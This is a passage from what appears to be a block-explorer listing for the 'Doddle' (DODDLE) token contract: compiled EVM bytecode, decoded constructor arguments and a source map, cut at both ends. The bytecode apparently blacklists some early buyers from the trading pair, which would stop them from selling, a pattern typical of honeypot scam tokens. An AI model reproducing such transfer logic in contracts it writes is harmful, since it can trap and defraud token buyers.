ffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b15611c775760075f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff161580156118f7575060075f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16155b6118ff575f80fd5b60185f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161480156119a8575060175f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b80156119fb575060065f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16155b8015611a4e575060035f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16155b15611c7657600160035f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff0219169083151502179055506009600a611ab69190612eb5565b62086470611ac49190612eff565b821115611bad5760025f815480929190611add906134ea565b919050555060015460025411611ba857600160075f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff0219169083151502179055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef5f604051611b9f9190613531565b60405180910390a35b611c75565b6001546002541015611c7457600160075f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff0219169083151502179055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef5f604051611c6b9190613531565b60405180910390a35b5b5b5b611cb36064611ca5600d5460105411611c9257600954611c96565b600b545b8561267590919063ffffffff16565b6126ec90919063ffffffff16565b905060185f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16148015611d5e575060175f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b8015611db1575060065f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16155b15611e6b57601354821115611dfb576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611df290613594565b60405180910390fd5b60145482611e088561089f565b611e1291906135b2565b1115611e53576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611e4a9061362f565b60405180910390fd5b60105f815480929190611e65906134ea565b91905055505b60185f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16148015611ef357503073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b15611f3757611f346064611f26600e5460105411611f1357600a54611f17565b600c545b8561267590919063ffffffff16565b6126ec90919063ffffffff16565b90505b5f611f413061089f565b9050601860159054906101000a900460ff16158015611fac575060185f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16145b8015611fc45750601860169054906101000a900460ff165b8015611fd1575060155481115b8015611fe05750600f54601054115b1561208f57601a54431115611ff7575f6019819055505b60036019541061203c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161203390613697565b60405180910390fd5b6120596120548461204f84601654612735565b612735565b6123a2565b5f4790505f81111561206f5761206e4761260d565b5b60195f815480929190612081906134ea565b919050555043601a81905550505b5f82111561218e576120e78260045f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205461274d90919063ffffffff16565b60045f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055503073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516121859190612a1c565b60405180910390a35b6121de8360045f8873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20546127aa90919063ffffffff16565b60045f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f208190555061228161223583856127aa90919063ffffffff16565b60045f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205461274d90919063ffffffff16565b60045f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508373ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef61232485876127aa90919063ffffffff16565b6040516123319190612a1c565b60405180910390a35050505050565b5f838311158290612387576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161237e91906128de565b60405180910390fd5b505f838561239591906136b5565b9050809150509392505050565b6001601860156101000a81548160ff0219169083151502179055505f600267ffffffffffffffff8111156123d9576123d8612abd565b5b6040519080825280602002602001820160405280156124075781602001602082028036833780820191505090505b50905030815f8151811061241e5761241d612fa8565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505060175f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156124c2573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906124e69190613051565b816001815181106124fa576124f9612fa8565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250506125603060175f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846114fc565b60175f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac947835f8430426040518663ffffffff1660e01b81526004016125c295949392919061379f565b5f604051808303815f87803b1580156125d9575f80fd5b505af11580156125eb573d5f803e3d5ffd5b50505050505f601860156101000a81548160ff02191690831515021790555050565b60085f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc8290811502906040515f60405180830381858888f19350505050158015612671573d5f803e3d5ffd5b5050565b5f808303612685575f90506126e6565b5f82846126929190612eff565b90508284826126a19190613824565b146126e1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016126d8906138c4565b60405180910390fd5b809150505b92915050565b5f61272d83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506127f3565b905092915050565b5f8183106127435781612745565b825b905092915050565b5f80828461275b91906135b2565b9050838110156127a0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016127979061392c565b60405180910390fd5b8091505092915050565b5f6127eb83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250612340565b905092915050565b5f8083118290612839576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161283091906128de565b60405180910390fd5b505f83856128479190613824565b9050809150509392505050565b5f81519050919050565b5f82825260208201905092915050565b5f5b8381101561288b578082015181840152602081019050612870565b5f8484015250505050565b5f601f19601f8301169050919050565b5f6128b082612854565b6128ba818561285e565b93506128ca81856020860161286e565b6128d381612896565b840191505092915050565b5f6020820190508181035f8301526128f681846128a6565b905092915050565b5f604051905090565b5f80fd5b5f80fd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f6129388261290f565b9050919050565b6129488161292e565b8114612952575f80fd5b50565b5f813590506129638161293f565b92915050565b5f819050919050565b61297b81612969565b8114612985575f80fd5b50565b5f8135905061299681612972565b92915050565b5f80604083850312156129b2576129b1612907565b5b5f6129bf85828601612955565b92505060206129d085828601612988565b9150509250929050565b5f8115159050919050565b6129ee816129da565b82525050565b5f602082019050612a075f8301846129e5565b92915050565b612a1681612969565b82525050565b5f602082019050612a2f5f830184612a0d565b92915050565b5f805f60608486031215612a4c57612a4b612907565b5b5f612a5986828701612955565b9350506020612a6a86828701612955565b9250506040612a7b86828701612988565b9150509250925092565b5f60ff82169050919050565b612a9a81612a85565b82525050565b5f602082019050612ab35f830184612a91565b92915050565b5f80fd5b7f4e487b71000000000000000000000000000000000000000000000000000000005f52604160045260245ffd5b612af382612896565b810181811067ffffffffffffffff82111715612b1257612b11612abd565b5b80604052505050565b5f612b246128fe565b9050612b308282612aea565b919050565b5f67ffffffffffffffff821115612b4f57612b4e612abd565b5b602082029050602081019050919050565b5f80fd5b5f612b76612b7184612b35565b612b1b565b90508083825260208201905060208402830185811115612b9957612b98612b60565b5b835b81811015612bc25780612bae8882612955565b845260208401935050602081019050612b9b565b5050509392505050565b5f82601f830112612be057612bdf612ab9565b5b8135612bf0848260208601612b64565b91505092915050565b5f60208284031215612c0e57612c0d612907565b5b5f82013567ffffffffffffffff811115612c2b57612c2a61290b565b5b612c3784828501612bcc565b91505092915050565b5f60208284031215612c5557612c54612907565b5b5f612c6284828501612955565b91505092915050565b612c748161292e565b82525050565b5f602082019050612c8d5f830184612c6b565b92915050565b5f8060408385031215612ca957612ca8612907565b5b5f612cb685828601612955565b9250506020612cc785828601612955565b9150509250929050565b5f60208284031215612ce657612ce5612907565b5b5f612cf384828501612988565b91505092915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52602260045260245ffd5b5f6002820490506001821680612d4057607f821691505b602082108103612d5357612d52612cfc565b5b50919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f8160011c9050919050565b5f808291508390505b6001851115612ddb57808604811115612db757612db6612d59565b5b6001851615612dc65780820291505b8081029050612dd485612d86565b9450612d9b565b94509492505050565b5f82612df35760019050612eae565b81612e00575f9050612eae565b8160018114612e165760028114612e2057612e4f565b6001915050612eae565b60ff841115612e3257612e31612d59565b5b8360020a915084821115612e4957612e48612d59565b5b50612eae565b5060208310610133831016604e8410600b8410161715612e845782820a905083811115612e7f57612e7e612d59565b5b612eae565b612e918484846001612d92565b92509050818404811115612ea857612ea7612d59565b5b81810290505b9392505050565b5f612ebf82612969565b9150612eca83612a85565b9250612ef77fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8484612de4565b905092915050565b5f612f0982612969565b9150612f1483612969565b9250828202612f2281612969565b91508282048414831517612f3957612f38612d59565b5b5092915050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65725f82015250565b5f612f7460208361285e565b9150612f7f82612f40565b602082019050919050565b5f6020820190508181035f830152612fa181612f68565b9050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52603260045260245ffd5b7f74726164696e6720697320616c7265616479206f70656e0000000000000000005f82015250565b5f61300960178361285e565b915061301482612fd5565b602082019050919050565b5f6020820190508181035f83015261303681612ffd565b9050919050565b5f8151905061304b8161293f565b92915050565b5f6020828403121561306657613065612907565b5b5f6130738482850161303d565b91505092915050565b5f60408201905061308f5f830185612c6b565b61309c6020830184612c6b565b9392505050565b5f819050919050565b5f819050919050565b5f6130cf6130ca6130c5846130a3565b6130ac565b612969565b9050919050565b6130df816130b5565b82525050565b5f60c0820190506130f85f830189612c6b565b6131056020830188612a0d565b61311260408301876130d6565b61311f60608301866130d6565b61312c6080830185612c6b565b61313960a0830184612a0d565b979650505050505050565b5f8151905061315281612972565b92915050565b5f805f6060848603121561316f5761316e612907565b5b5f61317c86828701613144565b935050602061318d86828701613144565b925050604061319e86828701613144565b9150509250925092565b5f6040820190506131bb5f830185612c6b565b6131c86020830184612a0d565b9392505050565b6131d8816129da565b81146131e2575f80fd5b50565b5f815190506131f3816131cf565b92915050565b5f6020828403121561320e5761320d612907565b5b5f61321b848285016131e5565b91505092915050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f206164645f8201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b5f61327e60248361285e565b915061328982613224565b604082019050919050565b5f6020820190508181035f8301526132ab81613272565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f2061646472655f8201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b5f61330c60228361285e565b9150613317826132b2565b604082019050919050565b5f6020820190508181035f83015261333981613300565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f2061645f8201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b5f61339a60258361285e565b91506133a582613340565b604082019050919050565b5f6020820190508181035f8301526133c78161338e565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f20616464725f8201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b5f61342860238361285e565b9150613433826133ce565b604082019050919050565b5f6020820190508181035f8301526134558161341c565b9050919050565b7f5472616e7366657220616d6f756e74206d7573742062652067726561746572205f8201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b5f6134b660298361285e565b91506134c18261345c565b604082019050919050565b5f6020820190508181035f8301526134e3816134aa565b9050919050565b5f6134f482612969565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff820361352657613525612d59565b5b600182019050919050565b5f6020820190506135445f8301846130d6565b92915050565b7f4578636565647320746865205f7831435249535059582e0000000000000000005f82015250565b5f61357e60178361285e565b91506135898261354a565b602082019050919050565b5f6020820190508181035f8301526135ab81613572565b9050919050565b5f6135bc82612969565b91506135c783612969565b92508282019050808211156135df576135de612d59565b5b92915050565b7f457863656564732074686520783052554747454452422e0000000000000000005f82015250565b5f61361960178361285e565b9150613624826135e5565b602082019050919050565b5f6020820190508181035f8301526136468161360d565b9050919050565b7f4f6e6c7920332073656c6c732070657220626c6f636b210000000000000000005f82015250565b5f61368160178361285e565b915061368c8261364d565b602082019050919050565b5f6020820190508181035f8301526136ae81613675565b9050919050565b5f6136bf82612969565b91506136ca83612969565b92508282039050818111156136e2576136e1612d59565b5b92915050565b5f81519050919050565b5f82825260208201905092915050565b5f819050602082019050919050565b61371a8161292e565b82525050565b5f61372b8383613711565b60208301905092915050565b5f602082019050919050565b5f61374d826136e8565b61375781856136f2565b935061376283613702565b805f5b838110156137925781516137798882613720565b975061378483613737565b925050600181019050613765565b5085935050505092915050565b5f60a0820190506137b25f830188612a0d565b6137bf60208301876130d6565b81810360408301526137d18186613743565b90506137e06060830185612c6b565b6137ed6080830184612a0d565b9695505050505050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601260045260245ffd5b5f61382e82612969565b915061383983612969565b925082613849576138486137f7565b5b828204905092915050565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f5f8201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b5f6138ae60218361285e565b91506138b982613854565b604082019050919050565b5f6020820190508181035f8301526138db816138a2565b9050919050565b7f536166654d6174683a206164646974696f6e206f766572666c6f7700000000005f82015250565b5f613916601b8361285e565b9150613921826138e2565b602082019050919050565b5f6020820190508181035f8301526139438161390a565b905091905056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220d500d8a2ce79f056cf01b93f8e942e7e43b72409c8f6b324204f532629c6524764736f6c63430008170033
Constructor Arguments (ABI-Encoded and is the last bytes of the Contract Creation Code above)
000000000000000000000000000000000000000000000000000000000000004000000000000000000000000000000000000000000000000000000000000000800000000000000000000000000000000000000000000000000000000000000006446f64646c6500000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000006444f44444c450000000000000000000000000000000000000000000000000000
-----Decoded View---------------
Arg [0] : name_ (string): Doddle
Arg [1] : symbol_ (string): DODDLE
-----Encoded View---------------
6 Constructor Arguments found :
Arg [0] : 0000000000000000000000000000000000000000000000000000000000000040
Arg [1] : 0000000000000000000000000000000000000000000000000000000000000080
Arg [2] : 0000000000000000000000000000000000000000000000000000000000000006
Arg [3] : 446f64646c650000000000000000000000000000000000000000000000000000
Arg [4] : 0000000000000000000000000000000000000000000000000000000000000006
Arg [5] : 444f44444c450000000000000000000000000000000000000000000000000000
Deployed Bytecode Sourcemap
3019:7775:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;5003:69;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5712:141;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4138:46;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5228:83;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3199:33;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5857:285;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5153:71;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;9402:136;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;4040:46;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3992:45;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;9542:73;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4089:46;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3235:34;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5315:107;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2238:128;;;;;;;;;;;;;:::i;:::-;;2064:67;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5076:73;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5426:147;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;9041:137;;;;;;;;;;;;;:::i;:::-;;10511:280;;;;;;;;;;;;;:::i;:::-;;9619:735;;;;;;;;;;;;;:::i;:::-;;9266:132;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;5577:131;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;10358:116;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;5003:69;5040:13;5064:5;5057:12;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;5003:69;:::o;5712:141::-;5787:4;5796:39;5805:12;:10;:12::i;:::-;5819:7;5828:6;5796:8;:39::i;:::-;5845:4;5838:11;;5712:141;;;;:::o;4138:46::-;;;;:::o;5228:83::-;5281:7;3877:1;3928:2;:13;;;;:::i;:::-;3916:9;:25;;;;:::i;:::-;5293:14;;5228:83;:::o;3199:33::-;;;;:::o;5857:285::-;5955:4;5964:36;5974:6;5982:9;5993:6;5964:9;:36::i;:::-;6003:121;6012:6;6020:12;:10;:12::i;:::-;6034:89;6072:6;6034:89;;;;;;;;;;;;;;;;;:11;:19;6046:6;6034:19;;;;;;;;;;;;;;;:33;6054:12;:10;:12::i;:::-;6034:33;;;;;;;;;;;;;;;;:37;;:89;;;;;:::i;:::-;6003:8;:121::i;:::-;6134:4;6127:11;;5857:285;;;;;:::o;5153:71::-;5194:5;3877:1;5204:16;;5153:71;:::o;9402:136::-;2177:12;:10;:12::i;:::-;2167:22;;:6;;;;;;;;;;:22;;;2159:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;9469:6:::1;9464:71;9485:6;:13;9481:1;:17;9464:71;;;9526:5;9508:4;:15;9513:6;9520:1;9513:9;;;;;;;;:::i;:::-;;;;;;;;9508:15;;;;;;;;;;;;;;;;:23;;;;;;;;;;;;;;;;;;9500:3;;;;;;;9464:71;;;;9402:136:::0;:::o;4040:46::-;;;;:::o;3992:45::-;;;;:::o;9542:73::-;9589:4;9604;:7;9609:1;9604:7;;;;;;;;;;;;;;;;;;;;;;;;;9597:14;;9542:73;;;:::o;4089:46::-;;;;:::o;3235:34::-;;;;:::o;5315:107::-;5381:7;5400:9;:18;5410:7;5400:18;;;;;;;;;;;;;;;;5393:25;;5315:107;;;:::o;2238:128::-;2177:12;:10;:12::i;:::-;2167:22;;:6;;;;;;;;;;:22;;;2159:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;2337:1:::1;2300:40;;2321:6;::::0;::::1;;;;;;;;2300:40;;;;;;;;;;;;2360:1;2343:6:::0;::::1;:19;;;;;;;;;;;;;;;;;;2238:128::o:0;2064:67::-;2102:7;2121:6;;;;;;;;;;;2114:13;;2064:67;:::o;5076:73::-;5115:13;5139:7;5132:14;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;5076:73;:::o;5426:147::-;5504:4;5513:42;5523:12;:10;:12::i;:::-;5537:9;5548:6;5513:9;:42::i;:::-;5565:4;5558:11;;5426:147;;;;:::o;9041:137::-;2177:12;:10;:12::i;:::-;2167:22;;:6;;;;;;;;;;:22;;;2159:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;3877:1:::1;3928:2;:13;;;;:::i;:::-;3916:9;:25;;;;:::i;:::-;9097:10;:20;;;;3877:1;3928:2;:13;;;;:::i;:::-;3916:9;:25;;;;:::i;:::-;9120:11;:19;;;;9147:27;3877:1;3928:2;:13;;;;:::i;:::-;3916:9;:25;;;;:::i;:::-;9147:27;;;;;;:::i;:::-;;;;;;;;9041:137::o:0;10511:280::-;10579:10;;;;;;;;;;;10565:24;;:12;:10;:12::i;:::-;:24;;;10557:33;;;;;;10593:20;10614:24;10632:4;10614:9;:24::i;:::-;10593:45;;10657:1;10644:12;:14;10641:55;;;10662:30;10679:12;10662:16;:30::i;:::-;10641:55;10698:18;10717:21;10698:40;;10755:1;10744:10;:12;10741:47;;;10760:24;10773:10;10760:12;:24::i;:::-;10741:47;10554:237;;10511:280::o;9619:735::-;2177:12;:10;:12::i;:::-;2167:22;;:6;;;;;;;;;;:22;;;2159:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;9673:11:::1;;;;;;;;;;;9672:12;9664:48;;;;;;;;;;;;:::i;:::-;;;;;;;;;9752:42;9715:15;;:80;;;;;;;;;;;;;;;;;;9798:54;9815:4;9822:10;9834:17;9798:8;:54::i;:::-;9855:63;9872:4;9879:38;9913:3;9879:29;9905:2;9879:21;9889:10;9879:9;:21::i;:::-;:25;;:29;;;;:::i;:::-;:33;;:38;;;;:::i;:::-;9855:8;:63::i;:::-;;9955:15;;;;;;;;;;;:23;;;:25;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;9937:55;;;10001:4;10008:15;;;;;;;;;;;:20;;;:22;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;9937:94;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;9921:13;;:110;;;;;;;;;;;;;;;;;;10034:68;10051:4;10066:15;;;;;;;;;;;10084:17;10034:8;:68::i;:::-;10105:15;;;;;;;;;;;:31;;;10144:21;10175:4;10181:24;10199:4;10181:9;:24::i;:::-;10206:1;10208::::0;10210:7:::1;:5;:7::i;:::-;10218:15;10105:129;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;10244:13;;;;;;;;;;;10237:29;;;10275:15;;;;;;;;;;;10293:14;10237:71;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;10325:4;10311:11;;:18;;;;;;;;;;;;;;;;;;10346:4;10332:11;;:18;;;;;;;;;;;;;;;;;;9619:735::o:0;9266:132::-;2177:12;:10;:12::i;:::-;2167:22;;:6;;;;;;;;;;:22;;;2159:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;9332:6:::1;9327:68;9348:5;:12;9344:1;:16;9327:68;;;9387:4;9370;:14;9375:5;9381:1;9375:8;;;;;;;;:::i;:::-;;;;;;;;9370:14;;;;;;;;;;;;;;;;:21;;;;;;;;;;;;;;;;;;9362:3;;;;;;;9327:68;;;;9266:132:::0;:::o;5577:131::-;5658:7;5677:11;:18;5689:5;5677:18;;;;;;;;;;;;;;;:27;5696:7;5677:27;;;;;;;;;;;;;;;;5670:34;;5577:131;;;;:::o;10358:116::-;2177:12;:10;:12::i;:::-;2167:22;;:6;;;;;;;;;;:22;;;2159:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;10437:10:::1;;;;;;;;;;;10423:24;;:12;:10;:12::i;:::-;:24;;;10415:33;;;::::0;::::1;;10463:7;10451:11;:19;;;;10358:116:::0;:::o;97:86::-;150:7;169:10;162:17;;97:86;:::o;6146:299::-;6248:1;6231:19;;:5;:19;;;6223:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;6321:1;6302:21;;:7;:21;;;6294:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;6395:6;6365:11;:18;6377:5;6365:18;;;;;;;;;;;;;;;:27;6384:7;6365:27;;;;;;;;;;;;;;;:36;;;;6425:7;6409:32;;6418:5;6409:32;;;6434:6;6409:32;;;;;;:::i;:::-;;;;;;;;6146:299;;;:::o;6548:2114::-;6644:1;6628:18;;:4;:18;;;6620:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;6713:1;6699:16;;:2;:16;;;6691:64;;;;;;;;;;;;:::i;:::-;;;;;;;;;6775:1;6766:6;:10;6758:64;;;;;;;;;;;;:::i;:::-;;;;;;;;;6827:17;6865:7;:5;:7::i;:::-;6857:15;;:4;:15;;;;:32;;;;;6882:7;:5;:7::i;:::-;6876:13;;:2;:13;;;;6857:32;6853:483;;;6903:4;:10;6908:4;6903:10;;;;;;;;;;;;;;;;;;;;;;;;;6902:11;:24;;;;;6918:4;:8;6923:2;6918:8;;;;;;;;;;;;;;;;;;;;;;;;;6917:9;6902:24;6894:33;;;;;;6944:13;;;;;;;;;;;6936:21;;:4;:21;;;:55;;;;;6975:15;;;;;;;;;;;6961:30;;:2;:30;;;;6936:55;:82;;;;;6996:18;:22;7015:2;6996:22;;;;;;;;;;;;;;;;;;;;;;;;;6995:23;6936:82;:104;;;;;7023:13;:17;7037:2;7023:17;;;;;;;;;;;;;;;;;;;;;;;;;7022:18;6936:104;6932:401;;;7065:4;7045:13;:17;7059:2;7045:17;;;;;;;;;;;;;;;;:24;;;;;;;;;;;;;;;;;;3877:1;7096:2;:15;;;;:::i;:::-;7087:6;:24;;;;:::i;:::-;7078:6;:33;7074:256;;;7116:15;;:17;;;;;;;;;:::i;:::-;;;;;;7159:14;;7140:15;;:33;7136:90;;7189:4;7178;:8;7183:2;7178:8;;;;;;;;;;;;;;;;:15;;;;;;;;;;;;;;;;;;7216:2;7201:21;;7210:4;7201:21;;;7220:1;7201:21;;;;;;:::i;:::-;;;;;;;;7136:90;7074:256;;;7260:14;;7242:15;;:32;7238:89;;;7290:4;7279;:8;7284:2;7279:8;;;;;;;;;;;;;;;;:15;;;;;;;;;;;;;;;;;;7317:2;7302:21;;7311:4;7302:21;;;7321:1;7302:21;;;;;;:::i;:::-;;;;;;;;7238:89;7074:256;6932:401;6853:483;7354:75;7425:3;7354:66;7378:11;;7366:9;;:23;7365:54;;7407:12;;7365:54;;;7393:11;;7365:54;7354:6;:10;;:66;;;;:::i;:::-;:70;;:75;;;;:::i;:::-;7342:87;;7446:13;;;;;;;;;;;7438:21;;:4;:21;;;:55;;;;;7477:15;;;;;;;;;;;7463:30;;:2;:30;;;;7438:55;:82;;;;;7498:18;:22;7517:2;7498:22;;;;;;;;;;;;;;;;;;;;;;;;;7497:23;7438:82;7434:241;;;7543:10;;7533:6;:20;;7525:56;;;;;;;;;;;;:::i;:::-;;;;;;;;;7618:11;;7608:6;7592:13;7602:2;7592:9;:13::i;:::-;:22;;;;:::i;:::-;:37;;7584:73;;;;;;;;;;;;:::i;:::-;;;;;;;;;7660:9;;:11;;;;;;;;;:::i;:::-;;;;;;7434:241;7689:13;;;;;;;;;;;7683:19;;:2;:19;;;:44;;;;;7722:4;7706:21;;:4;:21;;;;7683:44;7679:144;;;7744:75;7815:3;7744:66;7768:11;;7756:9;;:23;7755:54;;7797:12;;7755:54;;;7783:11;;7755:54;7744:6;:10;;:66;;;;:::i;:::-;:7